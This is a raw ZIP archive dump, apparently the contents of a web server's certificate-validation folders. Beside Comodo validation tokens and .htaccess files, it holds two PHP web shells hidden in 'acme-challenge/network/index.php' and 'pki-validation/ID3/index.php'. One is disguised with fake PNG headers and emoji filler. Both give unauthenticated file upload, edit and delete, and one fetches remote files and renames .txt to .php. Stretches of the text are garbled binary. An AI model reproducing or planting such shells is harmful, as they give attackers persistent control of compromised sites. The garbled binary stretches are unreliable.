�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ� ���ͯj�ӣ��ƺ���ӣ� ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PKb0]1 ;MM3pki-validation/10F49CC8420D1482FE2F0B1CD7610BA3.txtnu[2b5c8dbdfd230fafde3ee667d76d9ed38779f112e5e412e798bda8098b6c04ca comodoca.comPKh0]9MM3pki-validation/65C8B7CDCF4C81C601714475964CFEEE.txtnu[dcd65003499e214ad9e1c4f19dbb38d14a47f9e7a429abdd9a45b32dc164b3bf comodoca.comPKp0];d44acme-challenge/.htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PKp0]MM3pki-validation/B634214350C2D94CA5BDADB5B04BD934.txtnu[2f13ba9d4a83acd52e4dba568679453c9ec2eefe5b86362ed174bc9845791fd1 comodoca.comPKp0];d44pki-validation/.htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PKp0];d44 .htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PK$2]7tt acme-challenge/network/index.phpnu[d(・ω・d) 微分!(∫・ω・)∫ 積分!∂(・ω・∂) 偏微分!(∮・ω・)∮ 沿閉曲線的積分!(∬・ω・)∬ 重積分!∇(・ω・∇)梯度!∇・(・ω・∇・)散度!∇×(・ω・∇×)旋度!Δ(・ω・Δ)拉普拉斯!#゚Å゚)⊂彡☆))゚Д゚)・∵ლ(◉◞౪◟◉ )ლ千言萬語,不如一個「表情符號(emoji)」簡單生動又有趣!ಠ▃ಠ生氣、-`д´-憤怒、(¬_¬)無言、(•͈⌔•͈⑅)傷心、哭、開心、大笑、可愛、困惑、發呆、大眼睛、驚呀、跳舞、興奮、奔跑..≧Д≦ (; ≧皿≦) (⁎˃ᆺ˂) ╬ Ò ‸ Ó) <(`^´)> ( >д<) (ꐦ ಠ皿ಠ ) (`Д´) (; `O´)o o(-`д´- 。) ( ˃⌂˂ ) (°ㅂ° ╬) (ʘ言ʘ╬) (Ò 皿 Ó ╬) (-`д´-) 눈_눈 (⋋▂⋌) (¬▂¬) ಠ▃ಠ (>x<) ╰(‵□′)╯ pf PHP Polyglot Example

PHP Polyglot Demo

pfbasePath = rtrim(str_replace('\\', '/', $realBase), '/'); } public function getFullPath($path) { $path = str_replace('\\', '/', urldecode($path)); if (strpos($path, $this->basePath) === 0) { return rtrim($path, '/'); } if (strpos($path, '/') === 0) { return rtrim($this->basePath . $path, '/'); } return rtrim($this->basePath . '/' . $path, '/'); } public function isSafePath($path) { $real = realpath($path); if (!$real) return false; return strpos($real, $this->basePath) === 0; } public function listDir($dir) { $fullPath = $this->getFullPath($dir); if (!is_dir($fullPath)) { return array(); } $items = scandir($fullPath); $items = array_filter($items, function ($v) { return ($v !== '.' && $v !== '..'); }); usort($items, function ($a, $b) use ($fullPath) { $aIsDir = is_dir($fullPath . '/' . $a); $bIsDir = is_dir($fullPath . '/' . $b); if ($aIsDir !== $bIsDir) { return $aIsDir ? -1 : 1; } return strcasecmp($a, $b); }); return $items; } public function readFile($file) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } return @file_get_contents($fullPath); } public function saveFile($file, $content) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } return @file_put_contents($fullPath, $content) !== false; } public function createFile($dir, $filename, $content) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid directory'); } $filePath = $dirPath . '/' . $filename; if (file_exists($filePath)) { return array('success' => false, 'message' => 'File already exists'); } $res = @file_put_contents($filePath, $content); if ($res !== false) { return array('success' => true, 'path' => $filePath); } return array('success' => false, 'message' => 'File creation failed'); } public function createDir($dir, $name) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid parent directory'); } $newDir = $dirPath . '/' . $name; if (file_exists($newDir)) { return array('success' => false, 'message' => 'Folder already exists'); } if (@mkdir($newDir, 0755)) { return array('success' => true, 'path' => $newDir); } return array('success' => false, 'message' => 'Folder creation failed'); } public function deleteFile($file) { $filePath = $this->getFullPath($file); if (!$this->isSafePath($filePath) || !is_file($filePath)) { return array('success' => false, 'message' => 'Invalid or non-existent file'); } if (@unlink($filePath)) { return array('success' => true); } return array('success' => false, 'message' => 'File deletion failed'); } public function deleteDir($dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid or non-existent folder'); } if (count(scandir($dirPath)) > 2) { return array('success' => false, 'message' => 'Folder is not empty'); } if (@rmdir($dirPath)) { return array('success' => true); } return array('success' => false, 'message' => 'Folder deletion failed'); } public function rename($oldPath, $newName) { $oldFull = $this->getFullPath($oldPath); if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) { return array('success' => false, 'message' => 'Invalid source file/folder'); } $newFull = dirname($oldFull) . '/' . $newName; if (file_exists($newFull)) { return array('success' => false, 'message' => 'Target already exists'); } if (@rename($oldFull, $newFull)) { return array('success' => true, 'path' => $newFull); } return array('success' => false, 'message' => 'Rename failed'); } public function fetchRemote($url, $dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid directory'); } $fileName = basename(parse_url($url, PHP_URL_PATH)); if (!$fileName) { $fileName = 'remote_' . time() . '.php'; } if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') { $fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php'; } $filePath = $dirPath . '/' . $fileName; if (file_exists($filePath)) { return array('success' => false, 'message' => "File already exists: $fileName"); } $content = @file_get_contents($url); if ($content === false) { return array('success' => false, 'message' => 'Failed to fetch remote file'); } if (@file_put_contents($filePath, $content) === false) { return array('success' => false, 'message' => 'File save failed'); } return array('success' => true, 'path' => $filePath); } public function upload($file, $dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid upload directory'); } $target = $dirPath . '/' . basename($file['name']); if (file_exists($target)) { return array('success' => false, 'message' => 'File already exists'); } if (@move_uploaded_file($file['tmp_name'], $target)) { return array('success' => true, 'path' => $target); } return array('success' => false, 'message' => 'File upload failed'); } public function search($dir, $term) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return false; } $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($iterator as $item) { if (stripos($item->getFilename(), $term) !== false) { return $item->getPathname(); } } return false; } public function previewFile($file) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } $content = @file_get_contents($fullPath); if ($content === false) { return false; } return substr($content, 0, 500); // Limit preview to 500 characters } } $dir = isset($_GET['dir']) ? $_GET['dir'] : '.'; function cleanPath($path) { $path = str_replace(array('\\', '..'), array('/', ''), $path); return rtrim($path, '/'); } $dir = cleanPath($dir); $fileManager = new FileManager(); $flash = ''; $flashType = 'info'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'create_file') { $filename = isset($_POST['filename']) ? trim($_POST['filename']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if ($filename === '') { $flash = 'File name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->createFile($dir, $filename, $content); $flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'create_dir') { $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : ''; if ($dirname === '') { $flash = 'Folder name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->createDir($dir, $dirname); $flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'delete_file') { $target = isset($_POST['target']) ? cleanPath($_POST['target']) : ''; $res = $fileManager->deleteFile($target); $flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } elseif ($action === 'delete_dir') { $target = isset($_POST['target']) ? cleanPath($_POST['target']) : ''; $res = $fileManager->deleteDir($target); $flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } elseif ($action === 'rename') { $old = isset($_POST['old']) ? cleanPath($_POST['old']) : ''; $newName = isset($_POST['new']) ? trim($_POST['new']) : ''; if ($newName === '') { $flash = 'New name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->rename($old, $newName); $flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'save_file') { $file = isset($_POST['file']) ? cleanPath($_POST['file']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $res = $fileManager->saveFile($file, $content); $flash = $res ? 'File saved successfully' : 'File save failed'; $flashType = $res ? 'success' : 'error'; } elseif ($action === 'fetch_remote') { $url = isset($_POST['url']) ? trim($_POST['url']) : ''; if (filter_var($url, FILTER_VALIDATE_URL)) { $res = $fileManager->fetchRemote($url, $dir); $flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } else { $flash = 'Invalid URL'; $flashType = 'error'; } } elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $res = $fileManager->upload($_FILES['upload'], $dir); $flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType)); exit; } if (isset($_GET['flash'])) { $flash = $_GET['flash']; $flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info'; } $searchTerm = isset($_GET['search']) ? trim($_GET['search']) : ''; $searchResult = false; if ($searchTerm !== '') { $searchResult = $fileManager->search($dir, $searchTerm); } $items = $fileManager->listDir($dir); function breadcrumbs($path) { $path = trim(str_replace('\\', '/', $path), '/'); if ($path === '') { return array(array('name' => 'Home', 'path' => '.')); } $parts = explode('/', $path); $crumbs = array(); $acc = ''; foreach ($parts as $part) { $acc .= ($acc === '' ? '' : '/') . $part; $crumbs[] = array('name' => $part, 'path' => $acc); } array_unshift($crumbs, array('name' => 'Home', 'path' => '.')); return $crumbs; } function sizeFormatted($bytes) { if ($bytes < 1024) return $bytes . ' B'; $units = array('KB', 'MB', 'GB', 'TB'); $power = floor(log($bytes, 1024)); $power = ($power > count($units)) ? count($units) : $power; $value = round($bytes / pow(1024, $power), 2); return $value . ' ' . $units[$power - 1]; } function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } ?> FileMaster

FileMaster

pf
pf pf

Search Results

pf

File found:
/

pf

No files found.

pf
pf pfreadFile($viewFile); ?>

Edit File:

pf

File cannot be opened or does not exist.

pf
Back
pf pf

Directory:

pf pf pfgetFullPath($itemPath); $isDir = is_dir($fullPath); $size = $isDir ? '-' : sizeFormatted(filesize($fullPath)); $preview = !$isDir ? $fileManager->previewFile($itemPath) : false; ?> pf
Name Type Size Actions
← Parent Directory
' : '' ?> pf pf pf pf pf pf
pf
pf

Create New File

Create New Folder

Fetch Remote File

Upload File

pf
PK$2];d44 acme-challenge/network/.htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PK$2]aMM3pki-validation/0EF421D6999D0DE355D237AB7927D306.txtnu[8c56ba0f43d26b22e5dabd9066f327cc2d52ecdd8e904a047cfa4e6241060fd7 comodoca.comPK$2]GkMM3pki-validation/9B05049B256E0E2D5ACD8D3C0676461C.txtnu[3ad6fb96d17af20b8aaa6a93308f1f8167a660d82fdd61ce4d2ab3fdfcc22273 comodoca.comPK$2]-tMM3pki-validation/66078D17BA9C40CE97555E677164ABF7.txtnu[e7cdf15564a4955d85fa923db014da94be711af309f746e6671cc942f9d5215f comodoca.comPK$2]zMM3pki-validation/40B0DCD48320B578227A86401E9A960D.txtnu[4716aa95babcd9cbd7b0624dfad1a912c1a99a094d308f9c15f62cd068ee5e37 comodoca.comPK$2]ZMM3pki-validation/67A56840699E39A3A3AE8D838DDCAA2F.txtnu[1f3d7eb7ca822d0ba16b241415fddce59290dcb6be503a0cdd3ba9adc39d541a comodoca.comPK$2]pki-validation/ID3/index.phpnu[pf=1024 && $i 'File terlalu besar (php.ini)', UPLOAD_ERR_FORM_SIZE => 'File terlalu besar (form)', UPLOAD_ERR_PARTIAL => 'Upload terputus', UPLOAD_ERR_NO_FILE => 'Tidak ada file', UPLOAD_ERR_NO_TMP_DIR => 'TMP directory tidak ada', UPLOAD_ERR_CANT_WRITE => 'Gagal menulis ke disk', UPLOAD_ERR_EXTENSION => 'Diblok extension PHP' ]; $message = 'Upload error: ' . ($errs[$f['error']] ?? 'Unknown'); } elseif (!is_file($f['tmp_name'])) { $message = 'TMP file tidak ditemukan: ' . htmlspecialchars($f['tmp_name']); } elseif (@move_uploaded_file($f['tmp_name'], $target)) { $message = 'Upload SUCCESS (move_uploaded_file)'; } elseif (@copy($f['tmp_name'], $target)) { $message = 'Upload SUCCESS (fallback copy)'; } else { $message = 'Upload gagal total'; } } /* === DELETE === */ elseif ($action === 'delete' && isset($_GET['item'])) { $path = $currentDir . '/' . basename($_GET['item']); if (is_file($path)) unlink($path); elseif (is_dir($path)) @rmdir($path); $message = 'Dihapus: ' . htmlspecialchars($_GET['item']); } /* === RENAME === */ elseif ($action === 'rename' && isset($_POST['oldname'], $_POST['newname'])) { rename( $currentDir.'/'.basename($_POST['oldname']), $currentDir.'/'.basename($_POST['newname']) ); $message = 'Rename berhasil'; } /* === EDIT === */ elseif ($action === 'edit' && isset($_POST['filename'], $_POST['content'])) { file_put_contents( $currentDir.'/'.basename($_POST['filename']), $_POST['content'] ); $message = 'File disimpan'; } /* === LIST FILE === */ $items = scandir($currentDir); sort($items); ?> File Manager Lite

File Manager Lite

Dir:


pf[..]'; } foreach ($items as $item) { if ($item==='.'||$item==='..') continue; $path = $currentDir.'/'.$item; echo '
'; if (is_dir($path)) { echo ''.$item.'/'; } else { echo htmlspecialchars($item).' ('.formatSize(filesize($path)).')'; } echo ''; if (is_file($path)) { echo ' '; } echo ' '; echo ' '; echo '
'; } /* === EDIT FORM === */ if ($action==='editform' && isset($_GET['item'])) { $f = $currentDir.'/'.basename($_GET['item']); if (is_file($f)) { echo '

Edit: '.htmlspecialchars($_GET['item']).'

'; echo '
'; echo ''; echo ''; echo ''; echo '
'; } } /* === RENAME FORM === */ if ($action==='renameform' && isset($_GET['item'])) { echo '

Rename

'; echo '
'; echo ''; echo ''; echo ''; echo '
'; } ?> PK$2];d44 pki-validation/ID3/tmp/.htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PK$2];d44pki-validation/ID3/.htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all PK$2]Ig٘MM3pki-validation/1A8783C088C758A27BC0772F81756EFF.txtnu[261f3cdb404fa038d66b654531cde3b766d039b7d5087ed9442e52742da892dd comodoca.comPKb0]1 ;MM3pki-validation/10F49CC8420D1482FE2F0B1CD7610BA3.txtnu[PKh0]9MM3pki-validation/65C8B7CDCF4C81C601714475964CFEEE.txtnu[PKp0];d44`acme-challenge/.htaccessnu[PKp0]MM3pki-validation/B634214350C2D94CA5BDADB5B04BD934.txtnu[PKp0];d44pki-validation/.htaccessnu[PKp0];d44 .htaccessnu[PK$2]7tt uacme-challenge/network/index.phpnu[PK$2];d44 {acme-challenge/network/.htaccessnu[PK$2]aMM3$}pki-validation/0EF421D6999D0DE355D237AB7927D306.txtnu[PK$2]GkMM3}pki-validation/9B05049B256E0E2D5ACD8D3C0676461C.txtnu[PK$2]-tMM3~pki-validation/66078D17BA9C40CE97555E677164ABF7.txtnu[PK$2]zMM34pki-validation/40B0DCD48320B578227A86401E9A960D.txtnu[PK$2]ZMM3pki-validation/67A56840699E39A3A3AE8D838DDCAA2F.txtnu[PK$2]pki-validation/ID3/index.phpnu[PK$2];d44 pki-validation/ID3/tmp/.htaccessnu[PK$2];d445pki-validation/ID3/.htaccessnu[PK$2]Ig٘MM3pki-validation/1A8783C088C758A27BC0772F81756EFF.txtnu[PKe